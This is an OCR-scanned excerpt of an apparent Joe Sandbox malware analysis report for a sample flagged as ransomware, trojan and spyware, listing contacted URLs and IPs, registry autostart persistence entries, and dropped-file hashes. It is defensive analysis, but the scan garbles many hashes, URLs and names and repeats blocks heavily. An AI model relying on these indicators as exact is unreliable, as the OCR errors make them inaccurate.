0000.00000000.sdmp, explorer.exe, 000000
05.00000003.375713725.0000000003B26000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.4109519
78.0000000003B36000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.367687421.0000000003B26000
.00000004.00000800.00020000.00000000.sdmp,
cmsys.cmn.5.dr, what-happened-to-the-old-zxg-we
bsite[1].htm.5.dr

svchost.exe, 00000020.00000003.337412785 false
.000001401B861000.00000004.00000020.0002
0000.00000000.sdmp

svchost.exe, 00000020.00000003.313688080 false

.000001401B831000.00000004.00000020.0002
0000.00000000.sdmp

Reputation

high

unknown

unknown
unknown

unknown

high

high
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Name

http://https://zxq.net/wp-json/oembed/1.0/embed?
url=https%3A%2F%2Fzxq.net%2Fwhat-happened-to-
the-old-zxg-we

http://https://zxq.net/wp-content/themes/smart-
mag/style.css?ver=7.1.1

http://https://zxq.net/wp-content/uploads/2022/07/How-
To--150x89.png

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.376094580.0000000003B41000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.476931676
.0000000003B3B000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.375713725.0000000003B26000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.4109519
78.0000000003B36000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.367687421.0000000003B26000
.00000004.00000800.00020000.00000000.sdmp,
cmsys.cmn.5.dr, what-happened-to-the-old-zxq-we
bsite[1].htm.5.dr

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

Reputation

unknown

unknown

unknown
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Name

http://https://zxq.net/wp-includes/js/jquery/jquery-
migrate.min.js?ver=3.3.2

http://https://zxq.net/wp-
content/uploads/2022/07/Online-Shopping-Tips-
During-Covid-01.jpeg

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.376094580.0000000003B41000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.476931676
.0000000003B3B000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.375713725.0000000003B26000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.4109519
78.0000000003B36000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.367687421.0000000003B26000
.00000004.00000800.00020000.00000000.sdmp,
cmsys.cmn.5.dr, what-happened-to-the-old-zxq-we
bsite[1].htm.5.dr

explorer.exe, 00000005.00000003.44442802 false
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

e Avira URL Cloud: safe

Reputation

unknown

unknown
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Name

http://https://zxq.net/wp-
content/uploads/2022/07/Reasons-to-Hire-a-Truck-
Accident-Attorney-01-150x84.jpeg

http://https://zxq.net/wp-content/uploads/2022/07/How-
To--768x457.png

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

explorer.exe, 00000005.00000003.44442802 false
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.337297943.0000000003B22000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.376094580
.0000000003B41000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.476931676.0000000003B3B000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.3757137
25.0000000003B26000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.410951978.0000000003B36000
.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.367687421.00000
00003B26000.00000004.00000800.00020000.0
0000000.sdmp, cmsys.cmn.5.dr, what-happened-to-
the-old-zxg-website[1].htm.5.dr

e Avira URL Cloud: safe

Reputation

unknown

unknown
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Name

http://https://zxq.net/wp-
includes/js/jquery/jquery.min.js?ver=3.6.0

http://https://zxq.net/wp-content/uploads/2022/07/Why-
You-Should-Seek-An-Uber-Or-Lyft-Accident-Lawyer-
01-30

http://https://zxq.net/what-happened-to-the-old-zxg-
website/n

http://https://zxq.net/wp-json/wp/v2/pages/187

World Map of Contacted IPs

Copyright Joe Security LLC 2022

Source Malicious  Antivirus Detection

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe
6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.376094580.0000000003B41000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.476931676
.0000000003B3B000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.375713725.0000000003B26000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.4109519
78.0000000003B36000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.367687421.0000000003B26000
.00000004.00000800.00020000.00000000.sdmp,
cmsys.cmn.5.dr, what-happened-to-the-old-zxq-we
bsite[1].htm.5.dr

what-happened-to-the-old-zxg-website[1].htm.5.dr false e Avira URL Cloud: safe
explorer.exe, 00000005.00000002.53797311 false e Avira URL Cloud: safe
9.0000000003B35000.00000004.00000800.000

20000.00000000.sdmp

explorer.exe, 00000005.00000003.44442802 false e Avira URL Cloud: safe

6.0000000003B3B000.00000004.00000800.000
20000.00000000.sdmp, explorer.exe, 00000
005.00000003.339157472.0000000003B22000.
00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.414179479.000000
0003B36000.00000004.00000800.00020000.00
000000.sdmp, explorer.exe, 00000005.0000
0003.375591680.0000000003B42000.00000004
.00000800.00020000.00000000.sdmp, explorer.exe,
00000005.00000003.414485795.0000000003B510
00.00000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.443490595.000
0000003B3B000.00000004.00000800.00020000
.00000000.sdmp, explorer.exe, 00000005.0
0000003.508841852.0000000003B3B000.00000
004.00000800.00020000.00000000.sdmp, exp
lorer.exe, 00000005.00000003.414107103.0
000000003B52000.00000004.00000800.000200
00.00000000.sdmp, explorer.exe, 00000005
.00000003.376094580.0000000003B41000.000
00004.00000800.00020000.00000000.sdmp, e
xplorer.exe, 00000005.00000003.476931676
.0000000003B3B000.00000004.00000800.0002
0000.00000000.sdmp, explorer.exe, 000000
05.00000003.375713725.0000000003B26000.0
0000004.00000800.00020000.00000000.sdmp,
explorer.exe, 00000005.00000003.4109519
78.0000000003B36000.00000004.00000800.00
020000.00000000.sdmp, explorer.exe, 0000
0005.00000003.367687421.0000000003B26000
.00000004.00000800.00020000.00000000.sdmp,
cmsys.cmn.5.dr, what-happened-to-the-old-zxqg-we
bsite[1].htm.5.dr

Reputation

unknown

unknown

unknown

unknown
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[] No. of IPs < 25%
B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public IPs

1P Domain Country

104.18.114.97 icanhazip.com United States

142.250.145.82 googlecode.l.googleuserc  United States
ontent.com

51.81.194.202 zxq.net United States

Private

P

192.168.2.1

127.0.0.1

General Information

Joe Sandbox Version:

Analysis ID:

Start date and time: 05/08/202209:07:53
Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Copyright Joe Security LLC 2022

35.0.0 Citrine

679096

2022-08-05 09:07:53 +02:00
CloudBasic

Oh 11m 10s

false

light

Lg3gn9y1Cj.exe

default.jbs

ASN

13335
15169

16276

ASN Name

CLOUDFLARENETUS
GOOGLEUS

OVHFR

Malicious

false

false

true

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

58

o o o o

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
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Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.rans.troj.spyw.evad.WinEXE@144/20@13/5
EGA Information: e Successful, ratio: 100%

HDC Information:

HCA Information:

Cookbook Comments:

.

Successful, ratio: 1.9% (good quality ratio 0%)
Quality average: 0%
Quality standard deviation: 0%

.

.

3

Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

.

.

.

Found application associated with file extension: .exe
Adjust boot time
Enable AMSI

.

.

Warnings

e Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe

e TCP Packets have been reduced to 100

e Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 40.125.122.176, 52.242.101.226, 20.238.103.94, 20.223.24.244, 20.54.89.106

e Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, asf-ris-prod-neu-azsc.northeurope.cloudapp.azure.com, ris-prod.trafficmanager.net, neu-displaycatalogr

e o o o o o o

p.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net,
fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, rp-consumer-prod-displaycatalog-
geomap.trafficmanager.net, login.live.com, store-images.s-microsoft.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net,
prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, glb.sls.prod.dcat.dsp.trafficmanager.net

Not all processes where analyzed, report is missing behavior information

Report creation exceeded maximum time and may have missing d isassembly code information.

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, too many NtDeviceloControlFile calls found.

Report size getting too big, too many NtOpenKeyEx calls found.

Report size getting too big, too many NtProtectVirtualMemory calls found.

Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time Type Description

09:09:09 API Interceptor 1028x Sleep call for process: lg3gn9ylcj.exe modified

09:09:16 API Interceptor 1x Sleep call for process: AppLaunch.exe modified

09:09:18 API Interceptor 71x Sleep call for process: svchost.exe modified

09:09:18 API Interceptor 361x Sleep call for process: explorer.exe modified

09:09:23 Autostart Run: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Explorer c:\windows\system\explorer.exe
RO

09:09:33 Autostart Run: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Svchost c:\windows\system\svchost.exe
RO

09:09:52 Autostart Run: WinLogon Shell C:\Windows\explorer.exe

09:10:02 Autostart Run: WinLogon Shell c:\windows\system\explorer.exe

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context
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JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\gmgr.db

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Windows\System32\svchost.exe

Extensible storage engine DataBase, version 0x620, checksum 0x8be2707e, page size 16384, DirtyShutdown, Windows version 10.0
dropped

786432

0.25065011526072395

false

384:8+W0StseCI48EApWOStseCI48E2rTSjIK/ebmLerY SRSY1J2:jSB2nSB2RSjIK/+mLesOj1J2
11E0C81B5B977B054CABAAESE3D8F3E7

DC69821A1AD836A32C2AFACES8813F4674B10C15
0BDE68B06F915CC417F8F8D16E7C20733BF52656CDA47554BF428D1F0E05417F

CEEG6D61EES8EAE9470E6DDA2E94EE2321EFCCBC181C95756E630E1F48EB93E9ALFCB752D20DEAF2886CB0017F756AA4E3AA81EC43D49C183319FEBD42B925¢
B35

false

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\Usagelogs\ApplLaunch.exe.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

ASCII text, with CRLF line terminators

dropped

1036

5.356180291633412

false
24:MLasXE4qpE4Ks2wKDE4KhK3VZ9IpKhPKIE40KFKHK0ZAE4Kzr7K84j:MNH2HKXwYHKhQnoPtHoxHhAHKzVKYvj
7FBE631F679DF67A018544E516CF841E

02F03B1AB3CF33821236F743139693A61906A72B
1FB2E1F28E4A338CD7E04A147E290E1DD880E83054BB2BA48EF6038EBAOBFACD

4F7FD1AC6D22F8891F77BD3359EBOAS536ABSESBA3D064BBAAB6620826F6BIFC8FC18DAB73474DB4806EDICD1F5652549D7122E1DESES741010E7B3BE3F79EBE
B7

false

1,"fusion”,"GAC",0..1,"WinRT","NotApp",1..2,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5{7f11d50a3a",0..3,"System, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.
dll*,0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core
\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKkeyToken=b03f5f7f11d50a3a","
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25hb48\System.Configuration.ni.dll*,0..3,"System.Xml, Ve
rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8
e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral,

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\cmsys[1].htm

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Windows\System\explorer.exe

HTML document, ASCII text, with CRLF, LF line terminators

dropped

707

5.162345868595955

false
12:hYYLszHjgfkbxsjJ7QCdToh50IXQoLYIJI5M6eNsJLi334VIKk:hYYIzDIlkejNQCRtgoLY95MI5634Vsk
1304294C0823CA486542BA408ED761E3
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SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

B2A70FB2D810CA13985882E6981F33998823E83E
3BBE72F3BAABEC61DE17A1D767FCA58704769684B7ABE9161D0C4EAF4C8F0982

67430E967118D2B2D8A448C583BDE082BF512DA8BEAE75B0501EC5A6C2B0BF46936306317BD3DDD956C5C6E01FEOC7DBED43927588EFBAO6CS5F84D8AS57F7E
8B

false

<IDOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />.<title> 301 Moved Per
manently..</titte></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="heigh
t:auto; min-height:100%; ">  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-
size:150px; line-height:150px; font-weight:bold;">301</h1>.<h2 style="margin-top:20pXx;font-size: 30px;">Moved Permanently..</h2>.<p>The document has been per
manently moved.</p>.</div></div></body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS6IXJW6\what-happened-to-the-old-zxq-website[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System\explorer.exe

HTML document, UTF-8 Unicode text, with very long lines

dropped

56286

5.402091021498643

false
1536:PyMapcrHsCNwn1d0kelTaGNpSz17sjQRrCjmZlcInlZ+/s:Pq8wnSxdglcInlZCs
276F671F15DAEEA9B0OA348C035211481
0B33726249C5FFEC7A23F44506F533879F46B5AE
380DB9B45C38368CE654C7976EBADA338C026047B020D4924D29B73978399ECE
2502DB102655C3E43A0DD569D2214618676039C3FOBCA37DD9175C2A1B693B76734EDA2E4B51EBE37473B00AF931BBIFFF4DCDIC665485273FBA2CA1861020€
false

<IDOCTYPE html>.<html lang="en-US" class="s-dark site-s-dark">..<head>...<meta charset="UTF-8" />..<meta name="viewport" content="width=device-width, initial-sc
ale=1"/>..<meta name="robots' content="index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />... This site is optimized with the Yoast SEO Pr
emium plugin v18.0 (Yoast SEO v18.4.1) - https://yoast.com/wordpress/plugins/seo/ -->..<title>What happened to the old ZXQ website? | ZXQ</title><link rel="preload"
as="font" href="https://zxq.net/wp-content/themes/smart-mag/css/icons/fonts/ts-icons.woff2?v2.2" type="font/woff2" crossorigin="anonymous" />..<link rel="canonical"
href="https://zxq.net/what-happened-to-the-old-zxq-website/" />..<meta property="og:locale" content="en_US" />..<meta property="0g:type" content="article" />..<meta
property="og:title" content="What happened to the old ZXQ website?" />..<meta property="og:description" content="Information For ZXQ.net Subdomain Owners The old
ZXQ website

C:\Users\user\AppData\Local\Temp\~DF01383C41703FF854.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Lg3gn9y1Cj.exe

Composite Document File V2 Document, Cannot read section info

dropped

3072

1.2645041997918773

false

6:r191bxbt+r+CFQXK/79Xa9Xh9XR5+fIEij1b5X:rI3b/+PFQK/IJG7ONEip|
FA2089793F0B8D2F6F7FCF7176CBCA36
4AABD7420EBDD7C6AC87389F00594E4AC1F6055E
42C253738A8FFFE1358E50CC260938485BFA45E2A3A7060335F88DOE027CBACS
739B193990DA2B3C7D089A6D68C818787F082E5BA000E2B71386D4AFCAAD3E88006969E87664215F8722FBB538E9EOFDCB4FBF8FADEB063C16F5570CA80956C

C:\Users\user\AppData\Local\Temp\~DFOED405DEDEDD664C.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

C:\Windows\System\svchost.exe

Composite Document File V2 Document, Cannot read section info

dropped

3072

1.263447848067321

false

6:r191bxbt+r+CFQXxNxIt79Xa9Xh9XR5+f|Eij1b5X:rI3b/+PFQxNjtJG7ONEipl
4453DA200C2D970D975190A0F27F6ADO
305C9977DACAGFED6D11CCB1117AF3447F53B668
7CEC37BC8E7F81504AF19B87B81052E51306F0A56155E2BD552D66D74643FCBD
1D2B72COEC734A650A76E4C54E0D274172BFF8819060F45B73DB7C2B9DCF2B9CCB9841B8A0224304C178345C401C5920E138A4E0137A878D956609472C3442DI
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Malicious: false

Preview:

C:\Users\user\AppData\Local\Temp\~DF5EF9070E9B8F5CB4.TMP

Process: C:\Users\user\AppData\Local\icsys.icn.exe

File Type: Composite Document File V2 Document, Cannot read section info
Category: dropped

Size (bytes): 3072

Entropy (8bit):  1.2636074265164334

Encrypted: false

SSDEEP: 6:1191bxbt+r+CFQX6xX79Xa9Xh9XR5+fIEij1b5X:r3b/+PFQ6BIG7ONEipl

MDS5: 6A074302EACA2D20A1F728035FE077F3

SHAL: 9E3BB65A8DB04B99A1FDI4EC0679BB7E90BCFF2D

SHA-256: 8A356A8777248937E29E869CCAF65A6D49CB94636187BF58E06EBDIC8E42D6A7

SHA-512: 8ABDF5E901255030F1F653CD2F3B05048CAFD0509BB5E07D7DC846629C086D58B1B4BD875D7A07993D0D601704DF0996EAE46FOBFO08ABAOF32C4BAB72C494
7

Malicious: false

Preview:

C:\Users\user\AppData\Local\Temp\~DF6E4F50B397B92863.TMP

Process: C:\Windows\System\spoolsv.exe

File Type: Composite Document File V2 Document, Cannot read section info
Category: dropped

Size (bytes): 3072

Entropy (8bit):  1.2645041997918773

Encrypted: false

SSDEEP: 6:r191bxbt+r+CFQXaEG79Xa9Xh9XR5+fEij1b5X:rI3b/+PFQaEGIG7ONEipl

MD5: 8AF929E2C5779CB4C533178AC1588C15

SHA1L: 124C03AC67CCBOC2B1E05A4A3D7CE9AOESC7A3C4A

SHA-256: D4484A0EDADA4E7738155F7ED0606B112E08B966D9865A95C4E77888A873E9027

SHA-512: 33B032EDF0A9A861039A8BBIDEAA92955E6C8DC9400BFD45A7268DE2957BF6559371506CO3FDCF14435111870A0DCBC81C21F922F367CDD011B9398E65BAFO¢
E

Malicious: false

Preview: DTS TP TSP OO OO TSSO ST TT OO PO TSRO U TP ST TP UPTPPPO PPN

C:\Users\user\AppData\Local\Temp\~DFC593752C91BD8E2F.TMP

Process: C:\Windows\System\spoolsv.exe

File Type: Composite Document File V2 Document, Cannot read section info
Category: dropped

Size (bytes): 3072

Entropy (8bit):  1.2645041997918773

Encrypted: false

SSDEEP: 6:1191bxbt+r+CFQX48G79Xa9Xh9XR5+IEij1b5X:rI3b/+PFQ48GJG7ONEipl

MD5: 05C56F3D1B7035D139AB304B002C5450

SHAL: 14C75C9D3431CEE6GE04B03D82492D6CEES54D7A54

SHA-256: D75C59C908DDDB694E6D6AEG0D2624FF009CB6DDBEBFE3DB2780B55C44A754F7

SHA-512: 0B6EAC857813F0260627F9BAFOFB54D04B813913214B2CF62927576E9FA115D9B376EOESA7ED1122A4D06842F8D57ES5E71F9643239A65ABESE1184505D70107E
Malicious: false

Preview:
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C:\Users\user\AppData\Local\Temp\~DFD29C7DB29EE1EB40.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System\explorer.exe

Composite Document File V2 Document, Cannot read section info

dropped

3072

1.2606497387666988

false

